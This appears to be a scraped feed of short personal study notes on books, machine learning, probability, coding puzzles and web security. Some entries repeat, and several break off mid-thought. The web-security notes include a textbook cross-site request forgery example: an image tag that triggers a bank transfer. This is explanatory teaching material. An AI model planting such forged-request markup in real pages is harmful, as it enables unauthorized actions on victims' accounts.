Note: And that’s where FOMO comes in. You can’t argue with the results. You just want to dip your toes and get out. I watched Bitcoin keep climbing, until I got into the game with $50…

Tulip bulbs options. 20 for a bulb currently worth 100. If the price moved to 200, the option holder exercises his right: buys at 100 and simultaneously sells at 200, making a profit of 80.

Tracking and Data Collection

Tue, 22 Jan 2019 00:00:00 +0000

Tracking on the Internet

Screenshot from a [2012 study of third-party online tracking](#mayerMitchellThirdPartyWebTracking). The red boxes show content (at least the visible ones) served by third parties.

When the browser requests a third-party resource embedded on a web page, the snippet below is a subset of the HTTP headers sent by the browser to the third party.

02. Threat Models for Web Security

Wed, 21 Nov 2018 00:00:00 +0000

#1: Network Adversary

Addressed by secure communication protocols (+ network security)

#2: User visits adversary’s page

Variants:

Attacker gets the user to click a link, e.g. one that adds an item to their shopping cart.
Attacker gets the user’s browser to request a link

#3: Adversary is a third-party

<iframe src="https://third-party.com/widget"></iframe>

Note that an adversary script being embedded directly, e.g. through a <script> tag is not a threat model!

#4: Adversary interacts with the server

02. The Gluebot

Mon, 21 May 2018 00:00:00 +0000

Holmes insisted on using just a prick of blood. Problem: unreproducible results. A miniaturized catridge made storing and using the reagents hard.

You can’t Steve Jobs your way through medical devices. But you can’t change the world by being cynical.

Costs. Each cartridge cost +$200 to make and was single use. Holmes even purchased a $2m automated packaging line.

Control of Information. The biochemists and the engineers reported up to Holmes and weren’t encouraged to communicate with each other. Holmes was frustrated by the engineering team’s slow progress.

Modeling Influence with Graphs

Mon, 13 Nov 2017 00:00:00 +0000

Graphs, $G = (V, E) $	$N \times N $ Adjacency Matrix	$N \times L $ Incidence Matrix
	$A = \begin{bmatrix}0 & 1 & 0 & 0 \\ 0 & 0 & 1 & 0 \\ 1 & 0 & 0 & 0 \\ 0 & 0 & 0 & 1\end{bmatrix} $	$\hat{A} = \begin{bmatrix}1 & 0 & -1 & 0 \\ -1 & 1 & 0 & 0 \\ 0 & -1 & 1 & -1 \\ 0 & 0 & 0 & 1\end{bmatrix} $
$ V $ = set of $ N $ nodes $ E $ = set of $ L $ links	$ A_{ij} = 1 $ iff $ (i, j) \in E $ Note that $A$ need not be symmetric for directed graphs.	For a directed graph, $ A_{ij} $ is $1$ if $ i $ starts at $ j $; $-1$ if $i$ ends at $j$, and $0$ otherwise. For an undirected graph, $A_{ij}$ is $1$ if $i$ on $j$, and $0$ otherwise.

Measurements of Node Importance

Degree Centrality of Node $i$

For undirected graphs, this is the number of nodes connecting to node $i$.

02. The Subject

Mon, 02 Jan 2017 00:00:00 +0000

The Subject

The number of words aren’t intuitive to me. Adults tend to read non-fiction at 238 words per minute. So a good test for how appropriate a piece of writing is, “Can the writer cover X in N minutes?”

Hugo uses 213 WPM, while Medium uses 265 WPM, suggesting Medium has a bias for skimming over close reading.

I wonder if a browser extension that rates the appropriateness of articles given their subject and their word count is a feasible/desirable thing. Then again, we have Twitter with 140 characters ლ(ಠ_ಠ ლ)

Formal & Red Herring Fallacies

Tue, 06 Sep 2016 00:00:00 +0000

Argument from Consequences

If God does not exist, then everything is permitted.

Straw Man

The essence of this technique is to caricature a position to make it easier to attack.

My opponent is trying to convince you that we evolved from chimpanzees who were swinging from trees, a truly ludicrous claim.

Environmentalists care more for snail darters and spotted owls than they do for people.

Appeal to Fear

You should give me all your valuables before the police get here. They will end up putting them in the storeroom, and things tend to get lost in the storeroom.

Formal & Red Herring Fallacies

Tue, 06 Sep 2016 00:00:00 +0000

Argument from Consequences

If God does not exist, then everything is permitted.

Straw Man

The essence of this technique is to caricature a position to make it easier to attack.

My opponent is trying to convince you that we evolved from chimpanzees who were swinging from trees, a truly ludicrous claim.

Environmentalists care more for snail darters and spotted owls than they do for people.

Appeal to Fear

You should give me all your valuables before the police get here. They will end up putting them in the storeroom, and things tend to get lost in the storeroom.

2. Mavens

Fri, 08 Jul 2016 00:00:00 +0000

While Connectors connect us with new people, Mavens connect us with information.

Mavens notice the details, e.g. connecting Brazilian frost to coffee prices and stockpiling in anticipation, noticing when a supermarket slaps an “everyday low price!” without actually lowering the price, etc.

A Connector might tell 10 friends where to stay in LA and 5 might take his advice. A Maven might tell 5 people where to stay in LA but make the case so emphatically that all 5 would take the advice.

02. We Just Can't Predict

Sun, 03 Jul 2016 00:00:00 +0000

Couples know that a third to a half of all marriages fail, but surely not them! 94% of Swedes believe they are better drivers than 50% of Swedes.

The more detailed your knowledge of empirical reality, the more you mistake noise for signal.

I don’t quite follow…

When dealing with policy, the worst case is far more consequential than the forecast itself. Also, the longer you wait, the longer you will be expected to wait.

On Bullshit [Frankfurt]

Wed, 01 Jan 1986 00:00:00 +0000

Need to develop a theoretical understanding of bullshit. An account of what bullshit is and how it differs from what it is not.

This is a common way of defining concepts in relation to others. Also saw it in the definitions of algebra, geometry and analysis as mathematical categories

Remarks on Black’s “The Prevalence of Humbug”

Humbug: deceptive misrepresentation, short of lying, especially by pretentious word or deed, of somebody’s own thoughts, feelings or attitudes.

02. The Mythical Man-Month

Tue, 01 Oct 1974 00:00:00 +0000

More software projects have gone awry for lack of calendar time than for all other causes combined.

Why is this cause of disaster so common?

Our estimation techniques assume that all will go well, i.e. each task will take only as long as it “ought” to take.
Our estimating techniques fallaciously confuse effort with progress, hiding the assumption that men and months are interchangeable.
Because we are uncertain of our estimates, software managers often lack the courteous stubbornness - if you’re made to wait, it is to serve you better, and to please you.
Schedule progress is poorly monitored.
When schedule slippage is recognized, the natural (and traditional) response is to add manpower, which is like dousing a fire with gasoline.

Optimism

For human makers, the incompletenesses and inconsistencies of our ideas become clear only during implementation.

KQL: Aggregation Functions

Sat, 24 May 2025 00:00:00 +0000

Aggregation functions allow you to group and combine data from multiple rows into a summary value.

contains the database referenced in this document.

Use the `summarize` operator

Find the number of events by state.

State	TotalStorms
TEXAS	4,701
KANSAS	3,166
…	…

StormEvents
| summarize TotalStorms = count() by State

summarize groups together rows based on the by clause and uses the aggregation function to combine each group into a single row.

Visualize query results

Show a bar chart for the number of storm events by state for the top 5 states.

Browse Page

Sat, 20 Apr 2024 00:00:00 +0000

When a user lands at /browse, this UI is shown. A couple of components seem to emerge: search-bar, tags-list, card-results, and mini-card.

`<search-bar>`

Currently, this is rendered by search_bar_dropdown.ejs, a partial that that is included in both /home and /browse. The fact that there it has JS, no server-delivered content, and has CSS makes it a good candidate for a web component. Revving up search-bar.ts.

AoC 2021 Day 03: Binary Diagnostic

Wed, 23 Feb 2022 00:00:00 +0000

Day 3 - Advent of Code 2021. Eric Wastl. adventofcode.com . Accessed Feb 23, 2022.

Problem Description

Part One

The submarine has been making some odd creaking noises, so you ask it to produce a diagnostic report just in case.

The diagnostic report (your puzzle input) consists of a list of binary numbers which, when decoded properly, can tell you many useful things about the conditions of the submarine. The first parameter to check is the power consumption.

03. Thriving Without Illusions

Sat, 01 Jan 2022 00:00:00 +0000

Coping with Reality

This chapter felt a bit vacuous with its use of anecdotes to advance points.

Criticism of studies that argue that self-deception makes us happier: conflation of positive illusions and positive beliefs; unfounded definitions of what counts as self-deception; results that can be equally well-explained by something else.

There are alternative coping strategies that don’t involve self-deception: making a hypothetical plan about some unpleasant and unavoidable thing; noticing silver linings but not to the point of sweet lemons; admitting that things could be worse.

03. Speculative Bubbles from the Sixties into the Nineties

Sat, 01 Jun 2019 00:00:00 +0000

The Sanity of Institutions

Growth, Tronics and Synergy

Growth companies such as IBM and Texas Instruments sold at price-earnings multiples of more than 80. Questioning the propriety of such valuations became almost heretical.

Companies plastered “tronics” in their name. The tronics boom came back to earth in 1962.

Synergy Generates Energy: The Conglomerate Boom

Baker Co. & Electronik Co. have 200k shares outstandings, and $5 earnings per share per year.
Baker has a price-earnings multiple of 10. Each share is $50.
Electronik has a price-earnings multiple of 20. Each share is $100.
In their combination, 3 Baker shares ($150) are converted to 2 Electronik shares ($200).
(Baker + Electronik) has 333,333 shares outstanding and $2m annual earnings.
The conglomerate has $6 earnings per share per year! The stock rises to $120.
Rinse and repeat.

Buzzwords: market matrices, core technology fulcrums, modular building blocks, nucleus theory of growth.

Secure Multiparty Computation

Tue, 22 Jan 2019 00:00:00 +0000

Timeline of Secure Multi-Party Communication

In 1982, secure two-party computation (2PC) was introduced for problems that are boolean predicates, e.g. Yao’s Millionaires' Problem that asks whether $a \ge b$ is true without revealing the actual values of $a$ and $b$.

Andrew Yao generalized 2PC for any feasible computation in 1986. Goldreich, Micali and Wigderson later generalized it to secure multiparty communication.

Yao-based protocols requires that the function to be securely evaluated be represented as a circuit, but an efficient transformation is not trivial. The Fairplay system transforms a program in a high-level language into a boolean circuit representation, garbles that circuit and then executes a protocol to evaluate the garbled circuit. AES’s circuit has $\approx 50K$ gates, while the 4095-bit edit distance function has $\approx 6B$ gates.

03. Cross-Site Request Forgery (XSRF)

Wed, 21 Nov 2018 00:00:00 +0000

Cross-site Request Forgery (XSRF)

<img src="http://bank.com/transfer?from=from_ID&to=to_ID&value=1000">

Because the user is logged in and has a cookie, the victim site trusts the user’s browser.

The attacker gets user/browser to execute command on victim site, e.g. request a link, post a form. The command has permanent effects.

A frame can navigate its immediate children. Why is it designed such that it can’t navigate its children too?

Consider a website with a login frame, where the user inputs passwords. The attacker can put this website inside a frame and navigate to the login frame and steal passwords.

03. Apple Envy

Mon, 21 May 2018 00:00:00 +0000

Holmes’s Grand Plans. The iPod of health care. Build a personal disease map; reverse engineer cancer and predict evolution of tumors.

Again, if she’s faking this belief, then its sociopathic. But maybe she thought she could do it. Inventors go where no one else dares. They’re ridiculed by society. Here’s to the crazy ones. The misfits. The rebels. The troublemakers.

Chat ports were blocked to protect proprietary information and trade secrets. Dinner was catered at 8pm to entice longer working days.

The Contagion Model

Mon, 13 Nov 2017 00:00:00 +0000

For any node to possibly flip, there must be some nodes that have the disease at $t = 0$. These nodes are called seeders.

Brings topology into the picture: flip iff $p$ of your neighbors have flipped.

Assumes that each node has the same flipping threshold $p$

Will the Whole Network Flip?

For a cluster of nodes, let $d_i$ be the fraction of the neighbors of $i$ that are in the cluster. The density $d$ of the cluster is $ min_i d_i $, i.e. the node with the most outside influence. For example:

Caveats on Similarity Learning

Tue, 10 Oct 2017 00:00:00 +0000

Similarity-based learning is intuitive and gives people confidence in the model.

There is an inductive bias that instances that have similar descriptive features belong to the same class.

Remarkably so. When I think of classifying things, my mind immediately goes to NN.

Similarity learning has a stationary assumption, i.e. the joint PDF of the data doesn’t change (new classifications do not come up). This assumption is shared by supervised ML.

Caveats on Similarity Learning

Tue, 10 Oct 2017 00:00:00 +0000

Similarity-based learning is intuitive and gives people confidence in the model.

There is an inductive bias that instances that have similar descriptive features belong to the same class.

Remarkably so. When I think of classifying things, my mind immediately goes to NN.

Similarity learning has a stationary assumption, i.e. the joint PDF of the data doesn’t change (new classifications do not come up). This assumption is shared by supervised ML.

03. Classification and Order

Tue, 03 Jan 2017 00:00:00 +0000

Classification

Remove material that’s not related to the specific subject-thesis.

To hold readers attention, group materials into $\le$ 6 categories.

Order

The order in which you present the groups should serve a larger purpose.

Spatial Order

The furniture in your room, a tour of the Louvre, or a trip across the country.

A study of Michelangelo’s Moses: the sweep of marble hair; the furrowed brow; the piercing eyes; the famous hands; the strong angle of the body; the firmly planted feet.

3. Salesmen

Fri, 08 Jul 2016 00:00:00 +0000

Emotion Going Outside-In

Listeners who listened to the raise-fees message while nodding their heads wanted tution to rise to $646 and claimed that they found the editorial insightful. Those who were instructed to shake their heads to test earphone quality wanted tuition to fall to around $467.

When two people talk, their volume and pitch sync up, and engage in motor mimicry. If I can make you smile, I can make you happy. Some people are more effusive and therefore more emotionally contagious than the rest of us.

03. Those Grey Swans of Extremistan

Sun, 03 Jul 2016 00:00:00 +0000

Notes

Mediocristan vs Extremistan: In Extremistan, one single observation can disproportionately affect the outcome.

Universa, a hedge fund made to exploit black swans, made 3,612% in March 2020 amidst the coronavirus crisis. Taleb is an advisor on the fund. However, on a ’normal’ day, Universa is always losing money.

If finance were Gaussian, then the 2008 crash (more than 20 std) would take place every several billion lifetimes of the universe. In the last 50 years, the 10 most extreme days in finance markets represent half the returns.

Against Rationalization

Sun, 01 Feb 2015 00:00:00 +0000

Gathering evidence IRL may be expensive. When picking a stopping point, ask whether the collected evidence compels the conclusion, not whether it allows the conclusion.

Check your motivations. Are you ignoring fast cheap evidence because you already have a comfortable conclusion? Are you holding out for expensive slow evidence because the conclusion is uncomfortable?

A probabilistic model can take a few hits. But we sometimes assume a true theory can have no failures and a false theory can have no success.

Deeper Into Bullshit

Tue, 01 Jan 2002 00:00:00 +0000

Deeper Into Bullshit

Unlike Frankfurt’s argument that “the lack of concern to the truth” is the essence of bullshit , unclarifiability is the essence of bullshit.

The speaker’s state of mind is not a necessary condition: a liar may inadvertently speak the truth; an honest person may mistakenly speak falsely; an honest follower may regurgitate bullshit.

Unclarifiable statements cannot be rendered unosbcure without creating something that is not recognizable of what was said, e.g. If a lion could speak, we would not understand him.

03. The Surgical Team

Tue, 01 Oct 1974 00:00:00 +0000

The Dilemma

There are wide productivity variations between good programmers and poor ones. Sackman et. al. found 10:1 ratios. The data showed no correlation between experience and performance.

The idea of a 10x developer is mostly ridiculed in my online circles. That said, some jobs have X years of experience as a requirement. How can we resolve these contradictions?

The major part of the cost of large teams is communication, and system debugging to correct the ill effects of miscommunication.

The Cards Manager

Sun, 28 Apr 2024 00:00:00 +0000

UI Design

Legacy card viewing UI at /browse.

This time we’ll use the more semantic and a11y-friendly <dialog> element . Centering it in the page is done by the browser, and that saves us a bit of hassle – thought it would have been feasible with how <search-bar>’s <ul> floats above the page.

`CardsManager` Interface

The previous/next buttons make use of the CardsManager object that has the API:

AoC 2021 Day 04: Giant Squid

Fri, 25 Feb 2022 00:00:00 +0000

Day 4 - Advent of Code 2021. Eric Wastl. adventofcode.com . Accessed Feb 25, 2022.

Part One

You’re already almost 1.5km (almost a mile) below the surface of the ocean, already so deep that you can’t see any sunlight. What you can see, however, is a giant squid that has attached itself to the outside of your submarine.

04. Changing Your Mind

Sun, 02 Jan 2022 00:00:00 +0000

How to Be Wrong

found that experts were barely able to forecast better than random chance. However, a small subset of people (coined “superforecasters” ) were better. In a competition, they beat teams of top professors and CIA professional analysts. These superforecasters were not smarter than everyone else nor did they have more knowledge/experience, they were great at being wrong.

Change your mind a little at a time. Seeing the world in shades of grey is less stressful, as the experience of encountering evidence against one of your beliefs is not high stakes.

Maintainability

Sun, 22 Mar 2020 00:00:00 +0000

Ongoing maintenance includes: fixing bugs, keeping systems operational, adapting to new platforms, modifying to fit new use cases, etc.

Operability: Making Life Easy for Operations

Operations teams keep a software system running smoothly. A data system can make life easier for Ops people by:

Providing visibility into runtime behavior and system internals.
Supporting automation and integration with standard tools.
Being tolerant of machines being down for maintenance.
Good documentation, e.g. if I do X, Y will happen.
Good defaults and self-healing, but with override capability.
Minimal suprises.

Simplicity: Managing Complexity

Symptoms of complexity: exploding state space, tight coupling, tangled dependencies, inconsistent naming, performance hacks, special casing.

04. The Explosive Bubbles of the Early 2000s

Sat, 01 Jun 2019 00:00:00 +0000

Dotcom crash took away $8tn (yearly output of Germany, France, England, Italy, Spain, the Netherlands, and Russia) of market value.

The Internet Bubble

The internet had 2 bubble qualities: some new technology & some new business opportunity.

A Broad-Scale High-Tech Bubble

Cisco and JDS Uniphase, producers of the backbone of the Internet, sold at +100 P/E.

As usual, companies changed their names to include “dot.com”, “dotnet”, and “Internet”.

Stock	High ‘00	Low ‘01–‘02	Decline
Amazon.com	75.25	5.51	98.7%
Cisco Systems	82.00	11.04	86.5%
JDS Uniphase	297.34	2.24	99.5%
Priceline.com	165.00	1.80	99.4%
Yahoo.com	238.00	8.02	96.4%

PalmPilot (maker of PDAs) was at one point valued at 2x its parent company, 3Com.

Agriculture in Kenya as a Portfolio Problem

Sat, 01 Jun 2019 00:00:00 +0000

Motivation

In 08. A New Walking Shoe: Modern Portfolio Theory , Malkiel introduced me to Modern Portfolio Theory, a technique for reducing portfolio risk, despite risky investments. It made me wonder how similar principles are applied in agriculture. This page is the result of that investigation.

~16% of Kenya’s land is sufficiently fertile and has good rainfall. In 2006, ~75% of working Kenyans are farmers (compared to 80% in 1980). (en.wikipedia.org)

04. Goodbye East Paly

Mon, 21 May 2018 00:00:00 +0000

For some terminated employees, Holmes requested a dossier on them for leverage. Mosley (finance guy) had stored porn on his work laptop. Holmes (retroactively) used that as the cause for his termination and lack of stock options.

Matt (IT) wanted to leave to start IT consulting firm. Holmes asking him to use ununionized (mob controlled) movers for a last minute move from East Paly was one of the final straws. Holmes tried asking Matt’s peer to build dossier in exchange for Matt’s position, but they declined.

Infection Models: SI, SIS, SIR

Mon, 13 Nov 2017 00:00:00 +0000

Models state transitions through differential equations over continuous time $t$. Commonly used to model the spread of diseases.

Possible states that proportions of the population could be in at time $t$ are: susceptible $S(t)$, infected $I(t)$, and recovered $R(t)$

The SI Model

Assumes that one can only move from state $S$ to state $I$, with probability $\beta$.

$$ S’(t) = - \beta S(t) I(t);\ \ \ \ I’(t) = \beta S(t) I(t) $$

Handling Noisy Data in Nearest Neighbors

Tue, 17 Oct 2017 00:00:00 +0000

Majority Voting

The $k$ nearest neighbors model predicts the target level from the majority vote from the set of the $k$ nearest neighbors to the query $q$.

Where $\delta$ is an indicator function such that $\delta(t_i, l) = 1 \iff t_i = l$:

$$ \mathbb{M}_{k} (q) = argmax_{l \in levels(t)} \left( \sum_{i=1}^{k} \delta(t_i, l) \right) $$

For categorical features, $k$ should be odd to avoid ties.

This doesn’t read right. If there are 3 possible categories, $k = 3$ can result in a tie. “$k \mod |categories| \ne 0 $” seems like an alternative choice, but $k = 4$ could result in $\{2, 2, 0\}$ votes for 3 possible categories.

Handling Noisy Data in Nearest Neighbors

Tue, 17 Oct 2017 00:00:00 +0000

Majority Voting

The $k$ nearest neighbors model predicts the target level from the majority vote from the set of the $k$ nearest neighbors to the query $q$.

Where $\delta$ is an indicator function such that $\delta(t_i, l) = 1 \iff t_i = l$:

$$ \mathbb{M}_{k} (q) = argmax_{l \in levels(t)} \left( \sum_{i=1}^{k} \delta(t_i, l) \right) $$

For categorical features, $k$ should be odd to avoid ties.

Bayesian Rating

Mon, 09 Oct 2017 00:00:00 +0000

Allows us to weight by review population size.

Let $n_i$ be the number of reviews that item $i$ gets, and let $r_i$ be the naive average rating of item $i$
Let $N$ be the total number of reviews across brands, i.e. $N = \sum_{i} n_i $
Let $R$ be the average rating over all items across brands, i.e. $R = \frac{1}{N} \sum_{i} n_i r_i $

Then, the Bayesian rating $\tilde{r_i}$ is:

Conditional Probability

Fri, 29 Sep 2017 00:00:00 +0000

Definition

Where $ \mathbb{P}(A|B) $ is the probability of event $A$ given that event $B$ occurs:

$$ \mathbb{P}(A|B) = \frac{\mathbb{P}(A \cap B)}{\mathbb{P}(B)} $$

Notice that if $P(B) = 0$ then it’s meaningless to condition $A$ on $B$.

Satisfying the Axioms of Probability

Axiom 1: Normalization

$$ \mathbb{P}(B|B) = \frac{\mathbb{P}(B \cap B)}{\mathbb{P}(B)} = 1 $$

Axiom 2: Non-negativity

Because $A \cap B \subseteq B $, then $ 0 \le \mathbb{P}(A|B) \le 1 $.

04. Beginning and Ending

Sat, 07 Jan 2017 00:00:00 +0000

Beginnings

Your shot at intriguing or acclimating the reader. Establish the tone, stylistic manner and attitude in the first few sentences.

The Direct Beginning

State the subject in the first sentence, and the thesis in the first paragraph.

Use the first paragraph to define subject or a quick synopsis of the material to come.

The Delayed Beginning

An attention-getting device, e.g. anecdote, generalization, vivid description, dramatic incident, paradoxical observation, can serve as the background to your thesis.

Reusable Cards

Fri, 03 May 2024 00:00:00 +0000

Context

How can I reuse code in these user experiences?

Current card templates. TL: editable card owned by the user. TR: the overall modal experience. BL: a publicly viewable card. BR: a card owned by the user but is in the trash.

AoC 2021 Day 05: Hydrothermal Venture

Sun, 27 Feb 2022 00:00:00 +0000

Problem Statement

Part One

You come across a field of hydrothermal vents on the ocean floor! These vents constantly produce large, opaque clouds, so it would be best to avoid them if possible.

They tend to form in lines; the submarine hopefully produces a list of nearby lines of vents (your puzzle input) for you to review.

Each line of vents is given as a line segment in the format (x1, y1 -> x2, y2), where x1,y1 are the coordinates of one end of the line segment, and x2,y2 are the coordinates of the other end. These line segments include the points at both ends. In other words:

05. Rethinking Identity

Sun, 02 Jan 2022 00:00:00 +0000

How Beliefs Become Identities

Didn’t have priors on this. In retrospect, I could have asked: how can I differentiate between a belief and an identity? What are the consequences of a belief becoming an identity?

Feeling under siege from a hostile world may crystallize a belief into an identity, e.g. formula-feeders feeling judged as bad mothers; evangelical christians feeling alienated by legal and cultural changes like legal abortion, gay marriage and sexualized content in the media.

05. What Is Your Privacy Worth?

Tue, 28 Sep 2021 00:00:00 +0000

Pre-read thoughts.

I think for the general population, the value of privacy is not worth the inconvenience associated with securing it, in the cases where it’s not readily availed by Big Tech. For example, one wouldn’t go out of their way to not have passwords and 2FA. However, when it comes to matters like online privacy, most folks are willing to allow surveillance in exchange for free services like web search, social media, etc.

05. Technical and Fundamental Analysis

Sat, 01 Jun 2019 00:00:00 +0000

Technical Analysis

Study past price movements and trading volume of trading to to predict when to buy/sell a stock. Based on the castle-in-the-air view of stock pricing.

Trying to be smarter than the crowd. Is this only sustainable in an environment that has a sizable number of unsophisticated investors? Seems like it’d be a tax on new entrants to a stock market, e.g., making stock-picking a mainstream occurrence, and having the incumbents exploit the novices.

05. The Childhood Neighbor

Mon, 21 May 2018 00:00:00 +0000

Money was a sore point in the Holmes household. Holmes’s grandparents had squandered away their share of the Fleischmann fortune. Richard Fuisz, a family friend, was a flashy successful businessman.

So in a way, Elizabeth didn’t grow up in wealth? This puts a spin on Chapter 01: A Purposeful Life .

Fuisz was offended that Elizabeth never consulted him. Fuisz made his money patenting medical inventions that he anticipated other companies would someday want.

The Case for Range Normalization

Tue, 17 Oct 2017 00:00:00 +0000

When you have features taking different range if values, you may have odd predictions.

For example, if $f_1 \in [0, 100]$ and $f_2 \in [0, 1]$, $f_1$ will always be penalized more than $f_2$ when computing the distance.

To mitigate this, normalize the feature’s ranges to $[r_{low}, r_{high}]$:

$$ a’_i = \frac{a_i - a_{min}}{ a_{max} - a_{min}} \cdot (r_{high} - r_{low}) + r_{low} $$

Typically, the range is normalized to $[r_{low}, r_{high}] = [0, 1]$, so range normalization simplifies to:

The Case for Range Normalization

Tue, 17 Oct 2017 00:00:00 +0000

When you have features taking different range if values, you may have odd predictions.

For example, if $f_1 \in [0, 100]$ and $f_2 \in [0, 1]$, $f_1$ will always be penalized more than $f_2$ when computing the distance.

To mitigate this, normalize the feature’s ranges to $[r_{low}, r_{high}]$:

$$ a’_i = \frac{a_i - a_{min}}{ a_{max} - a_{min}} \cdot (r_{high} - r_{low}) + r_{low} $$

Typically, the range is normalized to $[r_{low}, r_{high}] = [0, 1]$, so range normalization simplifies to:

The Bayes Formula

Fri, 29 Sep 2017 00:00:00 +0000

The Formula

By definition…

$$ \mathbb{P}(A) = \mathbb{P}(A \cap B) + \mathbb{P}(A \cap B^{c}) $$

From conditional probability …

$$ \mathbb{P}(A) = \mathbb{P}(A|B) \ \mathbb{P}(B) + \mathbb{P}(A|B^c) \ \mathbb{P}(B^c) $$

Therefore

$$ \mathbb{P}(B|A) = \frac{ \mathbb{P}(B \cap A) }{ \mathbb{P}(A) } $$ $$ = \frac{ \mathbb{P}(A|B) \mathbb{P}(B) }{ \mathbb{P}(A|B) \ \mathbb{P}(B) + \mathbb{P}(A|B^c) \ \mathbb{P}(B^c) } $$

Switching the roles of the events is convenient because in many problems, one of the conditional probabilities is easier to calculate.

05. Expansion

Sat, 07 Jan 2017 00:00:00 +0000

Brevity has its limitations. Sometimes more words save more time.

Horizontal Expansion

You can move from effect to cause, or from cause to effect.

You go to a new but related idea: and, on the other hand, next, therefore, thus, which leads to, consequently, …

Vertical Expansion

You may provide examples, descriptions, illustrations for reader to infer the idea, what your subject is not, comparisons and contrasts.

It’s a method of analysis, detail and illustration: for example, in particular, on closer examination, which is not, the causes of which are…

Home Page

Sun, 05 May 2024 00:00:00 +0000

When a user lands at /home, this UI is shown. A couple of components are shareable from /browse, e.g., search-bar, search-results.

Sharing Code with `/browse`

Components initially created for the /browse page are useful in /home as well.

The `CardsViewingPage` Interface

This functionality can be shared between the two pages:

AoC 2021 Day 06: Lanternfish

Tue, 01 Mar 2022 00:00:00 +0000

Day 6 - Advent of Code 2021. Eric Wastl. adventofcode.com . Accessed Mar 2, 2022.

Part I Description

The sea floor is getting steeper. Maybe the sleigh keys got carried this way?

A massive school of glowing lanternfish swims past. They must spawn quickly to reach such large numbers - maybe exponentially quickly? You should model their growth to be sure.

06. Version Control (Git)

Fri, 16 Oct 2020 00:00:00 +0000

Version Control Systems track changes to a folder and its contents in a series of snapshots. Each snapshot encapsulates the entire state of files/folders within a top-level directory.

Git’s interface is a leaky abstraction. While the interface is at times ugly, its underlying design and ideas are beautiful. A bottom-up explanation of Git therefore makes more sense.

The abstraction is leaky in the sense that to wield it effectively, the user must understand the underlying data model, e.g., git rebase.

06. Technical Analysis and the Random Walk Theory

Sat, 01 Jun 2019 00:00:00 +0000

Is There Momentum in the Stock Market?

Past stock prices cannot be used reliably to foretell future movements. Furthermore, transactions costs and taxes make it hard to exploit any short-term momentum.

Flip a fair coin many times. Sequences of heads (or tails) and jumbled up sequences occur with equal probability.

Just What Exactly is a Random Walk?

In a random walk, knowing all prior moves is no help in predicting the next move.

06. Sunny

Mon, 21 May 2018 00:00:00 +0000

Elizabeth met Sunny in Stanford’s Mandarin program. She was 18, he was 19 years older and married. Elizabeth had struggled and gotten bullied and Sunny helped her out.

Sunny was arrogant and demeaning to employees. Sunny was a sucker for #hours clocked in. 8 hours a day showed a lack of dedication. But Elizabeth had utmost confidence in him.

That Sunny (COO) and Elizabeth (CEO) were dating wasn’t disclosed to the board.

Predicting Continuous Targets Using NN

Tue, 17 Oct 2017 00:00:00 +0000

Return the Average Value

One possible solution is to return the average value in the neighborhood, i.e.

$$ \mathbb{M}_{k}(q) = \frac{1}{k} \sum_{i=1}^{k} t_i $$

We can improve this by using weighted $k-NN$:

$$ \mathbb{M}_{k}(q) = \frac{ \sum_{i=1}^{k} \left( \frac{1}{dist(q, d_i)^2} \cdot t_i \right) }{ \sum_{i=1}^{k} \frac{1}{dist(q, d_i)^2} } $$

The formula looks new. However, if $x_1$ is weighted by $w_1$ and $x_2$ by $w_2$, then the weighted average is:

Predicting Continuous Targets Using NN

Tue, 17 Oct 2017 00:00:00 +0000

Return the Average Value

One possible solution is to return the average value in the neighborhood, i.e.

$$ \mathbb{M}_{k}(q) = \frac{1}{k} \sum_{i=1}^{k} t_i $$

We can improve this by using weighted $k-NN$:

$$ \mathbb{M}_{k}(q) = \frac{ \sum_{i=1}^{k} \left( \frac{1}{dist(q, d_i)^2} \cdot t_i \right) }{ \sum_{i=1}^{k} \frac{1}{dist(q, d_i)^2} } $$

The formula looks new. However, if $x_1$ is weighted by $w_1$ and $x_2$ by $w_2$, then the weighted average is:

06. Momentum

Sun, 08 Jan 2017 00:00:00 +0000

Momentum involves giving the reader adequately developed and reasonably arranged material for a smooth ride.

Rereading your own prose will not always disclose gaps since you may unconsciously fill them.

The Devices of Momentum

Make sure that a strand of an idea runs through the paragraph and the composition.

Use recurring images associated with the idea in separate sentences, e.g. insects, ant-heap, swarm, etc.

Use repetition, but be wary if it becomes monotonous, e.g. I have a dream

AoC 2021 Day 07: The Treachery of Whales

Sat, 05 Mar 2022 00:00:00 +0000

Day 7 - Advent of Code 2021. Eric Wastl. adventofcode.com . Accessed Mar 5, 2022.

Part I Description

A giant whale has decided that your submarine is its next meal, and it’s much faster than you are. There’s nowhere to run!

Suddenly, a swarm of crabs (each in its own tiny submarine - it’s too deep for them otherwise) zooms in to rescue you! They seem to be preparing to blast a hole in the ocean floor; sensors indicate a massive underground cave system just beyond where they’re aiming!

07. How Good is Fundamental Analysis? The Efficient Market Hypothesis

Sat, 01 Jun 2019 00:00:00 +0000

Fundamentalists tout past earnings growth as a most reliable indicator of future growth. But academics have shown that past earnings growth are no help in predicting future growth.

Why is the Crystal Ball So Clouded?

Many of the influential changes that affect earnings prospects are unpredictable.
Creative accounting procedures produce dubious reported earnings, e.g. pro forma earnings, pushing due payments to future years, etc.
Analysts may make errors, e.g. over-estimating the market size. Analysts also tend to copy each others’ forecasts.
The best analysts go to the sales desk or to hedge funds.
With discount brokerage firms and competitive commissions, analysts’ main buck comes from new issues and trading profits. Analysts don’t want to piss off the companies that they cover.

Do Security Analysts Pick Winners? The Performance of the Mutual Funds

From 1992 to 2017, the S&P 500 has had 9.69% while the average equity fund has had 8.55%.

Privacy [WWS 351]

Mon, 25 Mar 2019 00:00:00 +0000

07. Dr. J

Mon, 21 May 2018 00:00:00 +0000

FB’s private valuation had doubled to $50b in 6 months. ‘Angry Birds’ showed an app could be a business. Low interest rates made hedge funds consider private startups.

Walgreens

Dr. J - Walgreens Innovation. Theranos tests could boost revenues. Walgreens agrees to prepurchase $50m of cartridges and loan Theranos $25m.

Walgreens: we can’t risk a scenario where CVS has a deal with them in 6 months and it ends up being real.

Other Measures of Similarity in NN

Tue, 17 Oct 2017 00:00:00 +0000

This list is not exhaustive. For example, lists multiple distance and similarity measures for different kinds of data: numerical (12), boolean (8), string (5), images & color (2), geospatial & temporal (4), and general & mixed (1).

Nominal variables are variables that have two or more categories, but which do not have an intrinsic order. Dichotomous variables are nominal variables which have only two categories.

Dichotomous attributes (e.g. yes-or-no) are distinct from binary attributes (present vs. absent), e.g. binary attributes may be asymmetric in that co-presence suggests similarity, but co-absence may or may not be considered evidence of similarity. .

Other Measures of Similarity in NN

Tue, 17 Oct 2017 00:00:00 +0000

Note: similarity indexes may not specify the 4 NIST specifications of a similarity metric .

Consider these two instances:

